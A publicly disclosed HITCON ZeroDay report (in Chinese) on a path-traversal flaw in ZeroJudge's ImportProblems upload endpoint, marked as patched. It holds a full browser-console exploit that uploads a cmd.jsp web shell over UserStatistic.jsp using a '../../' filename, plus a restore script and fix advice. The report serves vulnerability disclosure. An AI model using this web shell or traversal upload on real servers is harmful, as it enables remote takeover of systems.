Zerojudge rce - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00812
  •  發信 Vendor: ZeroJudge
  • Title: Zerojudge rce
  • Introduction: 上傳端點存在路徑遍歷導致任意 JSP 覆蓋和遠端程式碼執行

處理狀態

目前狀態

公開
Last Update : 2026/07/30
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/06/04 14:42:23 : 新提交 (由 5yu4n 更新此狀態)
  • 2026/06/04 21:04:01 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/02 12:30:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/02 12:30:50 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/02 12:30:51 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/22 09:49:20 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/07/30 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00812
  • 通報者:rickccs (5yu4n)
  • 風險:嚴重
  • 類型:任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。

漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://zerojudge.tw/UserStatistic

敘述

ImportProblems 上傳端點存在路徑遍歷導致任意 JSP 覆蓋和遠端程式碼執行

登陸後點我要開課
然後f12在console跑

(async () => {
  const originalLoginJsp = `<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

`;

  const pageRes = await fetch("/ImportProblems", {
    method: "GET",
    credentials: "include",
    cache: "no-store"
  });

  const doc = new DOMParser().parseFromString(await pageRes.text(), "text/html");
  const token = doc.querySelector('input[name="csrfToken"]')?.value;
  if (!token) throw new Error("找不到 csrfToken");

  const fd = new FormData();
  fd.append("csrfToken", token);
  fd.append(
    "importproblems",
    new Blob([new TextEncoder().encode(originalLoginJsp)], {
      type: "application/octet-stream"
    }),
    "../../var/lib/tomcat9/webapps/ROOT/UserStatistic.jsp"
  );

  const res = await fetch("/ImportProblems", {
    method: "POST",
    body: fd,
    credentials: "include",
    cache: "no-store",
    headers: {
      "X-CSRF-TOKEN": token
    }
  });

  console.log("restore upload status:", res.status);
  console.log((await res.text()).slice(0, 500));
})();

最後前往
https://zerojudge.tw/UserStatistic

修復頁面可以f12後在console貼上

(async () => {
  const originalLoginJsp = `<%@ page contentType="text/html; charset=utf-8" language="java"
    import="java.sql.*" errorPage=""%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt"%>
<%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions"%>
<%@ page isELIgnored="false"%>
<fmt:setLocale value="\${sessionScope.session_locale}" />
<fmt:setBundle basename="resource" />

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<jsp:include page="include/CommonHead_BootstrapFlat.jsp" />
<script type="text/javascript"
    src="\${pageContext.request.contextPath}/include/UserToolbar.js?\${applicationScope.built }"></script>
<script type="text/javascript"
    src="\${pageContext.request.contextPath}/ShowIMessages.js?\${applicationScope.built }"></script>

</head>

<body>
    <jsp:include page="/include/Header_Fixed_Top.jsp" />
    <div class="container">
        <div class="row">
            <c:if test="\${user==null}">
                <fmt:message key="NO_DATA" />
            </c:if>

            <div class="col-md-3">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <h3 class="panel-title">
                            <fmt:message key="User.BasicInfomation" />
                        </h3>
                    </div>
                    <div class="panel-body">
                        <c:set var="user" value="\${user}" scope="request" />
                        <jsp:include page="/include/div/UserStatisticInfo.jsp" />
                        <div>
                            <fmt:message key="User.AC" />
                            <a
                                href="\${pageContext.request.contextPath}/Submissions?account=\${user.account}&status=AC">\${user.ac}</a>
                            <fmt:message key="User.Ti" />
                            (
                            <fmt:formatNumber value="\${user.ac/problemnum}" type="percent" />
                            ) <br />
                            <fmt:message key="User.WA" />
                            <a
                                href="\${pageContext.request.contextPath}/Submissions?account=\${user.account}&status=WA">\${user.wa}</a>
                            <fmt:message key="User.Times" />
                            <br />
                            <fmt:message key="User.TLE" />
                            <a
                                href="\${pageContext.request.contextPath}/Submissions?account=\${user.account}&status=TLE">\${user.tle}</a>
                            <fmt:message key="User.Times" />
                            <br />
                            <fmt:message key="User.MLE" />
                            <a
                                href="\${pageContext.request.contextPath}/Submissions?account=\${user.account}&amp;status=MLE">\${user.mle}</a>
                            <fmt:message key="User.Times" />
                            <br />
                            <fmt:message key="User.OLE" />
                            <a
                                href="\${pageContext.request.contextPath}/Submissions?account=\${user.account}&amp;status=OLE">\${user.ole}</a>
                            <fmt:message key="User.Times" />
                            <br />
                            <fmt:message key="User.RE" />
                            <a
                                href="\${pageContext.request.contextPath}/Submissions?account=\${user.account}&status=RE">\${user.re}</a>
                            <fmt:message key="User.Times" />
                            <br />
                            <fmt:message key="User.CE" />
                            <a
                                href="\${pageContext.request.contextPath}/Submissions?account=\${user.account}&status=CE">\${user.ce}</a>
                            <fmt:message key="User.Times" />
                        </div>
                        <c:if
                            test="\${sessionScope.onlineUser.isHigherEqualThanMANAGER || sessionScope.onlineUser.isProblemLevelManager()}">
                            <div>
                                難度統計:<br />
                                <c:forEach var="difficulty" items="\${allDifficultyCounts }"
                                    varStatus="status">
                                    <c:if test="\${difficulty.key==0}">未分級:</c:if>
                                    <c:if test="\${difficulty.key>0}">
                                        APCS \${difficulty.key}級:</c:if> (\${difficultyCounts[difficulty.key]} / <a
                                        href="./Problems?difficulty=\${difficulty.key}">\${difficulty.value}</a>)
                                    <c:if test="\${difficulty.value!=0}">
                                        <fmt:formatNumber type="percent" maxIntegerDigits="3"
                                            value="\${difficultyCounts[difficulty.key]/difficulty.value}" />
                                    </c:if>
                                    <c:if test="\${difficulty.value==0}">   0%</c:if>

                                    <br />
                                </c:forEach>
                            </div>
                        </c:if>
                        <div>
                            <a
                                href="\${pageContext.request.contextPath}/Submissions?account=\${user.account}"
                                class="btn btn-success">解題列表</a>
                        </div>
                        <%-- 暫時註解,避免 include 壞掉導致右側題目區不渲染
                        <c:set var="user" value="\${user}" scope="request" />
                        <jsp:include page="/include/UserToolbar_Bootstrap.jsp" />
                        --%>
                    </div>
                    <div class="panel-footer"></div>
                </div>
            </div>

            <div class="col-md-9">
                <c:forEach var="tab" items="\${tabs}">

                    <div class="panel panel-default">
                        <div class="panel-heading">
                            <h3 class="panel-title">\${tab.key}(\${fn:length(tab.value)})</h3>
                        </div>
                        <div class="panel-body">
                            <c:forEach var="tab_problemid" items="\${tab.value}">
                                <c:choose>
                                    <c:when test="\${tab_problemid.value==1}">
                                        <a
                                            href="\${pageContext.request.contextPath}/Submissions?problemid=\${tab_problemid.key}&account=\${user.account}"
                                            id="acstyle" class="acstyle"
                                            title="\${fn:escapeXml(applicationScope.CacheProblems[tab_problemid.key].title)}">\${tab_problemid.key}</a>
                                    </c:when>
                                    <c:when test="\${tab_problemid.value==2}">
                                        <a
                                            href="\${pageContext.request.contextPath}/Submissions?problemid=\${tab_problemid.key}&account=\${user.account}"
                                            style="color: #666666; font-weight: bold;"
                                            title="\${fn:escapeXml(applicationScope.CacheProblems[tab_problemid.key].title)}">\${tab_problemid.key}</a>
                                    </c:when>
                                    <c:otherwise>
                                        <a
                                            href="\${pageContext.request.contextPath}/ShowProblem?problemid=\${tab_problemid.key}"
                                            style="color: #666666"
                                            title="\${fn:escapeXml(applicationScope.CacheProblems[tab_problemid.key].title)}">\${tab_problemid.key}</a>
                                    </c:otherwise>
                                </c:choose>
                            </c:forEach>
                        </div>
                        <div class="panel-footer">
                            <span id="acstyle">a001</span>: 表示通過 | <span
                                style="color: #666666; font-weight: bold;">a001</span>: 表示嘗試但未通過
                            | <span>a001</span>: 不曾嘗試
                        </div>
                    </div>
                </c:forEach>
            </div>
        </div>
    </div>
    <jsp:include page="/include/Footer.jsp" />
</body>
</html>
`;

  const pageRes = await fetch("/ImportProblems", {
    method: "GET",
    credentials: "include",
    cache: "no-store"
  });

  const doc = new DOMParser().parseFromString(await pageRes.text(), "text/html");
  const token = doc.querySelector('input[name="csrfToken"]')?.value;
  if (!token) throw new Error("找不到 csrfToken");

  const fd = new FormData();
  fd.append("csrfToken", token);
  fd.append(
    "importproblems",
    new Blob([new TextEncoder().encode(originalLoginJsp)], {
      type: "application/octet-stream"
    }),
    "../../var/lib/tomcat9/webapps/ROOT/UserStatistic.jsp"
  );

  const res = await fetch("/ImportProblems", {
    method: "POST",
    body: fd,
    credentials: "include",
    cache: "no-store",
    headers: {
      "X-CSRF-TOKEN": token
    }
  });

  console.log("restore upload status:", res.status);
  console.log((await res.text()).slice(0, 500));
})();

即可修復

修補建議

將客戶端提供的檔案名稱替換為伺服器產生的隨機檔案名稱如果只需顯示原始檔名,使用 `Paths.get(filename).getFileName()`並且在將任何攻擊者控制的內容寫入安全敏感位置之前,請先驗證上傳的問題包。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;